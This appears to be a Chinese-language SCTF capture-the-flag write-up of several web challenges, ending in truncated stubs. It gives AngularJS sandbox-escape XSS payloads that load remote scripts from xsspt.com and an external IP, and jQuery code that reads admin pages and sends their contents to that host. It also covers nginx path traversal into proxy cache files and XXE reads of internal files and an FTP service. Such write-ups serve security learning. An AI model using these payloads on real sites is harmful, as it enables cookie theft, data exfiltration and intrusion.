新的建议板
基础payload
1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(alert(1))//');}}
打cookie
1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHBzOi8veHNzcHQuY29tL0hNVHpNUycpCg==\'))//');}}
调用script
使用
$.getScript(‘https://xsspt.com/HMTzMS')
base64一下:
JC5nZXRTY3JpcHQoJ2h0dHBzOi8veHNzcHQuY29tL0hNVHpNUycpCg==
这样就可以拿到cookie
接收到的内容如下:
1
location : http://127.0.0.1:1002/admin/suggest?suggest=%7B%7B'a'.constructor.prototype.charAt=[].join;$eval('x=1%7D%20%7D%20%7D;eval(atob(%5C'JC5nZXRTY3JpcHQoJ2h0dHBzOi8veHNzcHQuY29tL0hNVHpNUycpCg==%5C'))//');%7D%7D
cookie里边并没有flag,并且给的地址为本地地址,并不在公网上。
获取
/admin
的内容1
2
3JC5nZXRTY3JpcHQoJ2h0dHA6Ly8xMjMuMjA3LjkwLjE0My9zdS5qcycpCg==
=>
$.getScript('http://123.207.90.143/su.js')1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly8xMjMuMjA3LjkwLjE0My9zdS5qcycpCg==\'))//');}}
su.js内容即paylaod如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23$.ajax({
url: "/admin",
type: "GET",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('http://123.207.90.143', code);
},
error: function(msg) {
}
})
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="GET" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}admin内容如下:
1
JTBEJTBBJTNDIURPQ1RZUEUlMjBodG1sJTNFJTBEJTBBJTNDaHRtbCUyMGxhbmclM0QlMjJ6aC1DTiUyMiUzRSUwRCUwQSUyMCUyMCUzQ2hlYWQlM0UlMEQlMEElMjAlMjAlMjAlMjAlM0NtZXRhJTIwY2hhcnNldCUzRCUyMnV0Zi04JTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTNDbWV0YSUyMGh0dHAtZXF1aXYlM0QlMjJYLVVBLUNvbXBhdGlibGUlMjIlMjBjb250ZW50JTNEJTIySUUlM0RlZGdlJTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTNDbWV0YSUyMG5hbWUlM0QlMjJ2aWV3cG9ydCUyMiUyMGNvbnRlbnQlM0QlMjJ3aWR0aCUzRGRldmljZS13aWR0aCUyQyUyMGluaXRpYWwtc2NhbGUlM0QxJTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTNDIS0tJTIwJUU0JUI4JThBJUU4JUJGJUIwMyVFNCVCOCVBQW1ldGElRTYlQTAlODclRTclQUQlQkUqJUU1JUJGJTg1JUU5JUExJUJCKiVFNiU5NCVCRSVFNSU5QyVBOCVFNiU5QyU4MCVFNSU4OSU4RCVFOSU5RCVBMiVFRiVCQyU4QyVFNCVCQiVCQiVFNCVCRCU5NSVFNSU4NSVCNiVFNCVCQiU5NiVFNSU4NiU4NSVFNSVBRSVCOSVFOSU4MyVCRColRTUlQkYlODUlRTklQTElQkIqJUU4JUI3JTlGJUU5JTlBJThGJUU1JTg1JUI2JUU1JTkwJThFJUVGJUJDJTgxJTIwLS0lM0UlMEQlMEElMjAlMjAlMjAlMjAlM0NtZXRhJTIwbmFtZSUzRCUyMmRlc2NyaXB0aW9uJTIyJTIwY29udGVudCUzRCUyMiUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUzQ21ldGElMjBuYW1lJTNEJTIyYXV0aG9yJTIyJTIwY29udGVudCUzRCUyMiUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUzQ2xpbmslMjByZWwlM0QlMjJpY29uJTIyJTIwaHJlZiUzRCUyMiUyMiUzRSUwRCUwQSUwRCUwQSUyMCUyMCUyMCUyMCUzQ3RpdGxlJTNFU1lDJTNDJTJGdGl0bGUlM0UlMEQlMEElMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlM0NsaW5rJTIwaHJlZiUzRCUyMmh0dHBzJTNBJTJGJTJGY2RuLmJvb3Rjc3MuY29tJTJGYm9vdHN0cmFwJTJGMy4zLjclMkZjc3MlMkZib290c3RyYXAubWluLmNzcyUyMiUyMHJlbCUzRCUyMnN0eWxlc2hlZXQlMjIlM0UlMEQlMEElMjAlMjAlMjAlMjAlM0NsaW5rJTIwaHJlZiUzRCUyMmNzcyUyRmllMTAtdmlld3BvcnQtYnVnLXdvcmthcm91bmQuY3NzJTIyJTIwcmVsJTNEJTIyc3R5bGVzaGVldCUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUzQ2xpbmslMjBocmVmJTNEJTIyY3NzJTJGc3RhcnRlci10ZW1wbGF0ZS5jc3MlMjIlMjByZWwlM0QlMjJzdHlsZXNoZWV0JTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTNDc3R5bGUlMjB0eXBlJTNEJTIydGV4dCUyRmNzcyUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJvZHklMjAlN0IlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYWRkaW5nLXRvcCUzQSUyMDYwcHglM0IlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYWRkaW5nLWJvdHRvbSUzQSUyMDQwcHglM0IlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0MlMkZzdHlsZSUzRSUwRCUwQSUwRCUwQSUyMCUyMCUyMCUyMCUzQ3NjcmlwdCUyMHNyYyUzRCUyMmh0dHBzJTNBJTJGJTJGY2RuLmJvb3Rjc3MuY29tJTJGYW5ndWxhci5qcyUyRjEuNC42JTJGYW5ndWxhci5taW4uanMlMjIlM0UlM0MlMkZzY3JpcHQlM0UlMEQlMEElMjAlMjAlMjAlMjAlM0NzY3JpcHQlMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmFwcHMuYmRpbWcuY29tJTJGbGlicyUyRmFuZ3VsYXItcm91dGUlMkYxLjMuMTMlMkZhbmd1bGFyLXJvdXRlLmpzJTIyJTNFJTNDJTJGc2NyaXB0JTNFJTBEJTBBJTIwJTIwJTIwJTIwJTNDc2NyaXB0JTIwc3JjJTNEJTIyanMlMkZpZS1lbXVsYXRpb24tbW9kZXMtd2FybmluZy5qcyUyMiUzRSUzQyUyRnNjcmlwdCUzRSUwRCUwQSUwRCUwQSUyMCUyMCUzQyUyRmhlYWQlM0UlMEQlMEElMEQlMEElMjAlMjAlM0Nib2R5JTIwJTNFJTBEJTBBJTBEJTBBJTIwJTIwJTIwJTIwJTNDbmF2JTIwY2xhc3MlM0QlMjJuYXZiYXIlMjBuYXZiYXItaW52ZXJzZSUyMG5hdmJhci1maXhlZC10b3AlMjIlM0UlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlM0NkaXYlMjBjbGFzcyUzRCUyMmNvbnRhaW5lciUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ2RpdiUyMGNsYXNzJTNEJTIybmF2YmFyLWhlYWRlciUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ2J1dHRvbiUyMHR5cGUlM0QlMjJidXR0b24lMjIlMjBjbGFzcyUzRCUyMm5hdmJhci10b2dnbGUlMjBjb2xsYXBzZWQlMjIlMjBkYXRhLXRvZ2dsZSUzRCUyMmNvbGxhcHNlJTIyJTIwZGF0YS10YXJnZXQlM0QlMjIlMjNuYXZiYXIlMjIlMjBhcmlhLWV4cGFuZGVkJTNEJTIyZmFsc2UlMjIlMjBhcmlhLWNvbnRyb2xzJTNEJTIybmF2YmFyJTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDc3BhbiUyMGNsYXNzJTNEJTIyc3Itb25seSUyMiUzRVRvZ2dsZSUyMG5hdmlnYXRpb24lM0MlMkZzcGFuJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDc3BhbiUyMGNsYXNzJTNEJTIyaWNvbi1iYXIlMjIlM0UlM0MlMkZzcGFuJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDc3BhbiUyMGNsYXNzJTNEJTIyaWNvbi1iYXIlMjIlM0UlM0MlMkZzcGFuJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDc3BhbiUyMGNsYXNzJTNEJTIyaWNvbi1iYXIlMjIlM0UlM0MlMkZzcGFuJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDJTJGYnV0dG9uJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDYSUyMGNsYXNzJTNEJTIybmF2YmFyLWJyYW5kJTIyJTIwaHJlZiUzRCUyMiUyRiUyMiUzRVNZQyUyMEFETUlOJTNDJTJGYSUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQyUyRmRpdiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ2RpdiUyMGlkJTNEJTIybmF2YmFyJTIyJTIwY2xhc3MlM0QlMjJjb2xsYXBzZSUyMG5hdmJhci1jb2xsYXBzZSUyMiUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ3VsJTIwY2xhc3MlM0QlMjJuYXYlMjBuYXZiYXItbmF2JTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDbGklMjBjbGFzcyUzRCUyMmFjdGl2ZSUyMiUzRSUzQ2ElMjBocmVmJTNEJTIyJTIzJTIyJTNFSG9tZSUzQyUyRmElM0UlM0MlMkZsaSUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ2xpJTNFJTNDYSUyMGhyZWYlM0QlMjIlMjMlMjIlM0UlRTYlOTclQTUlRTUlQkYlOTclM0MlMkZhJTNFJTNDJTJGbGklM0UlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0NsaSUzRSUzQ2ElMjBocmVmJTNEJTIyJTIzJTIyJTNFJUU4JUI0JUE2JUU1JThEJTk1JTNDJTJGYSUzRSUzQyUyRmxpJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDbGklM0UlM0NhJTIwaHJlZiUzRCUyMmFkbWluJTJGZmlsZSUyMiUzRSVFNiU5NiU4NyVFNCVCQiVCNiUzQyUyRmElM0UlM0MlMkZsaSUzRSUwRCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzQ2xpJTNFJTNDYSUyMGhyZWYlM0QlMjJhZG1pbiUyRnN1Z2dlc3QlMjIlM0UlRTclOTUlOTklRTglQTglODAlM0MlMkZhJTNFJTNDJTJGbGklM0UlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0NsaSUzRSUzQ2ElMjBocmVmJTNEJTIyJTIzJTIyJTNFJUU1JThGJTkxJUU1JUI4JTgzJTNDJTJGYSUzRSUzQyUyRmxpJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDJTJGdWwlM0UlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0MlMkZkaXYlM0UlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlM0MlMkZkaXYlM0UlMEQlMEElMjAlMjAlMjAlMjAlM0MlMkZuYXYlM0UlMEQlMEElMEQlMEElMEQlMEElM0NkaXYlMjBjbGFzcyUzRCUyMmNvbnRhaW5lciUyMiUzRSUwRCUwQSUyMCUyMCUzQ2RpdiUyMGNsYXNzJTNEJTIyanVtYm90cm9uJTIyJTNFJTBEJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDaDElM0VIRUxMTyUyMGFkbWluQ2xvdW5kJTNDJTJGaDElM0UlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0NwJTNFJUU2JTk2JUIwJUU3JTg5JTg4JUU1JTkwJThFJUU1JThGJUIwMi4wISUzQyUyRnAlM0UlMEQlMEElMjAlMjAlM0MlMkZkaXYlM0UlMEQlMEElM0MlMkZkaXYlM0UlMEQlMEElMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlM0MhLS0lMjBCb290c3RyYXAlMjBjb3JlJTIwSmF2YVNjcmlwdCUwRCUwQSUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUzRCUyMC0tJTNFJTBEJTBBJTNDIS0tJTIwUGxhY2VkJTIwYXQlMjB0aGUlMjBlbmQlMjBvZiUyMHRoZSUyMGRvY3VtZW50JTIwc28lMjB0aGUlMjBwYWdlcyUyMGxvYWQlMjBmYXN0ZXIlMjAtLSUzRSUwRCUwQSUzQ3NjcmlwdCUyMHNyYyUzRCUyMmh0dHBzJTNBJTJGJTJGY2RuLmJvb3Rjc3MuY29tJTJGanF1ZXJ5JTJGMS4xMi40JTJGanF1ZXJ5Lm1pbi5qcyUyMiUzRSUzQyUyRnNjcmlwdCUzRSUwRCUwQSUzQ3NjcmlwdCUyMHNyYyUzRCUyMmh0dHBzJTNBJTJGJTJGY2RuLmJvb3Rjc3MuY29tJTJGYm9vdHN0cmFwJTJGMy4zLjclMkZqcyUyRmJvb3RzdHJhcC5taW4uanMlMjIlM0UlM0MlMkZzY3JpcHQlM0UlMEQlMEElM0MhLS0lMjBJRTEwJTIwdmlld3BvcnQlMjBoYWNrJTIwZm9yJTIwU3VyZmFjZSUyRmRlc2t0b3AlMjBXaW5kb3dzJTIwOCUyMGJ1ZyUyMC0tJTNFJTBEJTBBJTNDc2NyaXB0JTIwc3JjJTNEJTIyanMlMkZpZTEwLXZpZXdwb3J0LWJ1Zy13b3JrYXJvdW5kLmpzJTIyJTNFJTNDJTJGc2NyaXB0JTNFJTBEJTBBJTBEJTBBJTNDJTJGYm9keSUzRSUwRCUwQSUzQyUyRmh0bWwlM0UlMEQlMEElMEQlMEE%3D
解码后:
1
2
3
4
5
6
7
8...
<div class="container">
<div class="jumbotron">
<h1>HELLO adminClound</h1>
<p>新版后台2.0!</p>
</div>
</div>
...获取
admin/file
,需要登录1
2
3
4
5
6
7<div class="container">
<form method="post">
<label for="filePasswd" class="sr-only">输入文件密码</label>
<input type="text" id="filePasswd" class="form-control" placeholder="filepasswd" required="" autofocus="" name="filepasswd">
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
</form>
</div>我们发现新的用户
1
adminClound
结合路由:
1
http://116.62.137.114:4879/api/memos/admintest2313
访问
http://116.62.137.114:4879/api/memos/adminClound
得到
adminClound
的密码:HGf^&39NsslUIf^23
登录
admin/file
paylaod如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24$.ajax({
url: "/admin/file",
type: "POST",
data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('http://123.207.90.143', code);
},
error: function(msg) {
}
})
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="GET" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}得到flag:
sctf{T4is_is_f1ag2313}
。
nginx的秘密
hint4:/editxxxxx怎么也能访问?
hint3:路由嘛,扫一扫目录就知道了。views.py是读不出来的233333
hint2:这个路由好生奇怪
hint1:从nginx的典型错误配置入手吧
目录穿越漏洞
-syc-note 我已经把所有秘密写进secret plan了233333
需要读取secret plain
首先可以发现nginx存在目录穿越漏洞,可以参考https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration。
访问http://116.62.137.155:4455/static../etc/nginx/nginx.conf>
,即可得到nginx.conf
理解proxy_cache_path
1 | user www-data; |
其中最重要的是这句话:
1 | proxy_cache_path /tmp/mycache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=30s use_temp_path=off; |
匹配到~* .(css|js|gif|png)就进行缓存。
查看文档http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path 了解proxy_cache_path的值的含义,得知缓存文件保存在/tmp/mycache,用于定义缓存文件名的proxy_cache_key未设置,则使用默认值 \$scheme\$proxy_host\$request_uri,即文件名形式为MD5(\$scheme\$proxy_host\$request_uri),如果访问http://116.62.137.155:4455/write_plan/a.js/ ,则缓存文件名为MD5(http://bugweb.app:8000/write_plan/a.js/) ==6fcfa7b1e6bad837b70dc98c9b82b43b,由于proxy_cache_path设置了levels=1:2,因此缓存文件存在/tmp/mycache下的两级目录下,第一级目录名取MD5值的最后一个字符,第二级目录名取MD5值的倒数2、3个字符,例如/tmp/mycache/b/43/6fcfa7b1e6bad837b70dc98c9b82b43b,再通过任意文件读取即可读到缓存文件的内容。
读取secret_plain
由于路由很奇怪,访问/editxxxxx等同于访问/edit,同理访问/write_planxxxx等同于访问/write_planxxxx。因而构造http://116.62.137.155:4455/write_plan/a.js/ 提交给管理员访问, 管理员在查看该页面之后,也就相当于访问了管理员的http://116.62.137.155:4455/write_plan
,并生成了缓存文件,这时候再读取缓存文件。
http://116.62.137.155:4455/static../tmp/mycache/b/43/6fcfa7b1e6bad837b70dc98c9b82b43b
1 | 嬹,[ m?[ ,R泻 ? |
从中我们可以得到ftp的账号密码:
syc10ver Eec5TN9fruOOTp2G
xxe 读取/proc/net/arp
1 | <?xml version="1.0" encoding="UTF-8"?> |
结果如下:
1 | 43 minutes ago 172.18.0.1 0x1 0x2 02:42:ca:cd:4e:eb * eth0 |
xxe读取172.18.0.4:21的目录
1 | <?xml version="1.0" encoding="UTF-8"?> |
结果:
1 | 2 minutes ago -rw-r--r-- 1 0 0 38 Jun 17 14:04 flag327a6c4304ad5938eaf0efb6cc3e53dc |
xxe读取172.18.0.4:21/flag327a6c4304ad5938eaf0efb6cc3e53dc
1 | "1.0" encoding="UTF-8" xml version= |
结果:
1 | 20 minutes ago sctf{Not_0n1y_xx3_but_als0_web_cache} |
##Zhuanxv
主要代码片段
1 | //UserLoginAction.class |
payload
1 | import requests |
BabySyc - Simple PHP Web
1 |